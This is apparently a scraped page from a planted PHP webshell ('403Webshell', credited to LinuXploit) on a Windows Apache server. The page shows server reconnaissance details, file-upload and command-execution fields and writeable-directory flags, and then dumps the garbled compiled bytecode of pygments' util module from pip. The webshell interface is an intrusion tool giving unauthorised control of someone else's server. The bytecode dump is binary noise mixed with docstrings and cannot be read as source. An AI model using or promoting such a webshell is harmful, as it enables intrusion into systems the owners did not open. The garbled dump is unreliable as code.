403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/pip/_vendor/pygments/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/pip/_vendor/pygments/__pycache__/util.cpython-39.pyc
a

X��e�'�@s6dZddlZddlmZe�d�Ze�dejejBejB�Z	e�dej
ejBejB�Ze�dej�Z
Gdd	�d	e�ZGd
d�de�Zd2d
d�Zd3dd�Zd4dd�Zd5dd�Zdd�Zdd�Zdd�Zdd�Zdd�ZiZdd �Zd!d"�Zd6d#d$�Zd7d&d'�ZGd(d)�d)�Z d*d+�Z!d,d-�Z"d.d/�Z#Gd0d1�d1e�Z$dS)8z�
    pygments.util
    ~~~~~~~~~~~~~

    Utility functions.

    :copyright: Copyright 2006-2023 by the Pygments team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�
TextIOWrapperz[/\\ ]z�
    <!DOCTYPE\s+(
     [a-zA-Z_][a-zA-Z0-9]*
     (?: \s+      # optional in HTML5
     [a-zA-Z_][a-zA-Z0-9]*\s+
     "[^"]*")?
     )
     [^>]*>
z<(.+?)(\s.*?)?>.*?</.+?>z\s*<\?xml[^>]*\?>c@seZdZdZdS)�
ClassNotFoundzCRaised if one of the lookup functions didn't find a matching class.N��__name__�
__module__�__qualname__�__doc__�r	r	�=/usr/lib/python3.9/site-packages/pip/_vendor/pygments/util.pyrsrc@seZdZdZdS)�OptionErrorz�
    This exception will be raised by all option processing functions if
    the type or value of the argument is not correct.
    Nrr	r	r	r
r"srFcCs@|�||�}|r|��}||vr<td|d�tt|��f��|S)z}
    If the key `optname` from the dictionary is not in the sequence
    `allowed`, raise an error, otherwise return it.
    z%Value for option %s must be one of %sz, )�get�lowerr�join�map�str)�options�optname�allowed�default�normcase�stringr	r	r
�get_choice_opt(s�rcCs||�||�}t|t�r|St|t�r,t|�St|t�sHtd||f��n0|��dvrXdS|��dvrhdStd||f��dS)a@
    Intuitively, this is `options.get(optname, default)`, but restricted to
    Boolean value. The Booleans can be represented as string, in order to accept
    Boolean value from the command line arguments. If the key `optname` is
    present in the dictionary `options` and is not associated with a Boolean,
    raise an `OptionError`. If it is absent, `default` is returned instead.

    The valid string values for ``True`` are ``1``, ``yes``, ``true`` and
    ``on``, the ones for ``False`` are ``0``, ``no``, ``false`` and ``off``
    (matched case-insensitively).
    zBInvalid type %r for option %s; use 1/0, yes/no, true/false, on/off)�1Zyes�trueZonT)�0�noZfalseZoffFzCInvalid value %r for option %s; use 1/0, yes/no, true/false, on/offN)r�
isinstance�bool�intrrr
�rrrrr	r	r
�get_bool_opt6s$


����r cCs^|�||�}z
t|�WSty8td||f��Yn"tyXtd||f��Yn0dS)z?As :func:`get_bool_opt`, but interpret the value as an integer.z=Invalid type %r for option %s; you must give an integer valuez>Invalid value %r for option %s; you must give an integer valueN)rr�	TypeErrorr�
ValueErrorrr	r	r
�get_int_optUs
��
��r#cCsH|�||�}t|t�r|��St|ttf�r4t|�Std||f��dS)z�
    If the key `optname` from the dictionary `options` is a string,
    split it at whitespace and return it. If it is already a list
    or a tuple, it is returned as a list.
    z9Invalid type %r for option %s; you must give a list valueN)rrr�split�list�tupler)rrr�valr	r	r
�get_list_optcs
��r(cCsP|js
dSg}|j����D]$}|��r<|�d|���qqBqd�|���S)N�� )r�strip�
splitlines�appendr�lstrip)�obj�res�liner	r	r
�docstring_headlinetsr2cs�fdd�}�j|_t|�S)zAReturn a static text analyser function that returns float values.c	s^z�|�}Wnty YdS0|s*dSztdtdt|���WSttfyXYdS0dS)Ngg�?)�	Exception�min�max�floatr"r!)�text�rv��fr	r
�text_analyse�sz%make_analysator.<locals>.text_analyse)r�staticmethod)r:r;r	r9r
�make_analysator�sr=cCs�|�d�}|dkr$|d|���}n|��}|�d�r�z(dd�t�|dd����D�d}WntyrYd	S0t�d
|tj	�}|�
|�dur�dSd	S)a�Check if the given regular expression matches the last part of the
    shebang if one exists.

        >>> from pygments.util import shebang_matches
        >>> shebang_matches('#!/usr/bin/env python', r'python(2\.\d)?')
        True
        >>> shebang_matches('#!/usr/bin/python2.4', r'python(2\.\d)?')
        True
        >>> shebang_matches('#!/usr/bin/python-ruby', r'python(2\.\d)?')
        False
        >>> shebang_matches('#!/usr/bin/python/ruby', r'python(2\.\d)?')
        False
        >>> shebang_matches('#!/usr/bin/startsomethingwith python',
        ...                 r'python(2\.\d)?')
        True

    It also checks for common windows executable file extensions::

        >>> shebang_matches('#!C:\\Python2.4\\Python.exe', r'python(2\.\d)?')
        True

    Parameters (``'-f'`` or ``'--foo'`` are ignored so ``'perl'`` does
    the same as ``'perl -e'``)

    Note that this method automatically searches the whole string (eg:
    the regular expression is wrapped in ``'^$'``)
    �
rNz#!cSsg|]}|r|�d�s|�qS)�-)�
startswith)�.0�xr	r	r
�
<listcomp>�s�z#shebang_matches.<locals>.<listcomp>����Fz^%s(\.(exe|cmd|bat|bin))?$T)�findr
r@�
split_path_rer$r+�
IndexError�re�compile�
IGNORECASE�search)r7�regex�indexZ
first_line�foundr	r	r
�shebang_matches�s

�rPcCs<t�|�}|durdS|�d�}t�|tj��|���duS)z�Check if the doctype matches a regular expression (if present).

    Note that this method only checks the first part of a DOCTYPE.
    eg: 'html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"'
    NF�)�doctype_lookup_rerL�grouprIrJ�I�matchr+)r7rM�mZdoctyper	r	r
�doctype_matches�s


rWcCs
t|d�S)z3Check if the file looks like it has a html doctype.Zhtml)rW)r7r	r	r
�html_doctype_matches�srXcCsrt�|�rdSt|�}z
t|WStylt�|�}|durFYdSt�|dd��du}|t|<|YS0dS)z2Check if a doctype exists or if we have some tags.TNi�)�xml_decl_rerU�hash�_looks_like_xml_cache�KeyErrorrRrL�tag_re)r7�keyrVr8r	r	r
�looks_like_xml�s


r_cCsd|d?d|d@fS)zoGiven a unicode character code with length greater than 16 bits,
    return the two 16 bit surrogate pair.
    i���
i�i�r	)�cr	r	r
�
surrogatepair�srbc	Cs�g}d|d}d|dd}|�||d�|rT|D]}|�||d�q:n8|D]2}t|d�}|�||dd�|d	d�qX|�|d
�d�|�S)z)Formats a sequence of strings for output.r*�rQz = (�,�"N���rE�)r>)r-�reprr)	Zvar_name�seq�rawZindent_level�linesZbase_indentZinner_indent�i�rr	r	r
�format_lines�s$rnr	cCs>g}t�}|D]*}||vs||vr$q|�|�|�|�q|S)za
    Returns a list with duplicates removed from the iterable `it`.

    Order is preserved.
    )�setr-�add)�itZalready_seenZlst�seenrlr	r	r
�duplicates_removed�s
rsc@seZdZdZdd�ZdS)�Futurez�Generic class to defer some work.

    Handled specially in RegexLexerMeta, to support regex string construction at
    first use.
    cCst�dS�N)�NotImplementedError��selfr	r	r
rsz
Future.getN)rrrrrr	r	r	r
rtsrtcCs�z|�d�}|dfWStyzz&ddl}|��}|��}||fWYSttfyt|�d�}|dfYYS0Yn0dS)z�Decode *text* with guessed encoding.

    First try UTF-8; this should fail for non-UTF-8 encodings.
    Then try the preferred locale encoding.
    Fall back to latin-1, which always works.
    zutf-8rN�latin1)�decode�UnicodeDecodeError�locale�getpreferredencoding�LookupError)r7r|Zprefencodingr	r	r
�guess_decodes


rcCsBt|dd�r:z|�|j�}Wnty.Yn0||jfSt|�S)z�Decode *text* coming from terminal *term*.

    First try the terminal encoding, if given.
    Then try UTF-8.  Then try the preferred locale encoding.
    Fall back to latin-1, which always works.
    �encodingN)�getattrrzr�r{r)r7�termr	r	r
�guess_decode_from_terminal.s
r�cCs"t|dd�r|jSddl}|��S)z7Return our best guess of encoding for the given *term*.r�Nr)r�r�r|r})r�r|r	r	r
�terminal_encoding?sr�c@seZdZdd�ZdS)�UnclosingTextIOWrappercCs|��dSru)�flushrwr	r	r
�closeIszUnclosingTextIOWrapper.closeN)rrrr�r	r	r	r
r�Gsr�)NF)N)N)N)Fr)r	)%rrI�iorrJrG�DOTALL�	MULTILINE�VERBOSErRrKr]rTrYr"rr3rrr r#r(r2r=rPrWrXr[r_rbrnrsrtrr�r�r�r	r	r	r
�<module>s>

�	�



-
	




Youez - 2016 - github.com/yon3zu
LinuXploit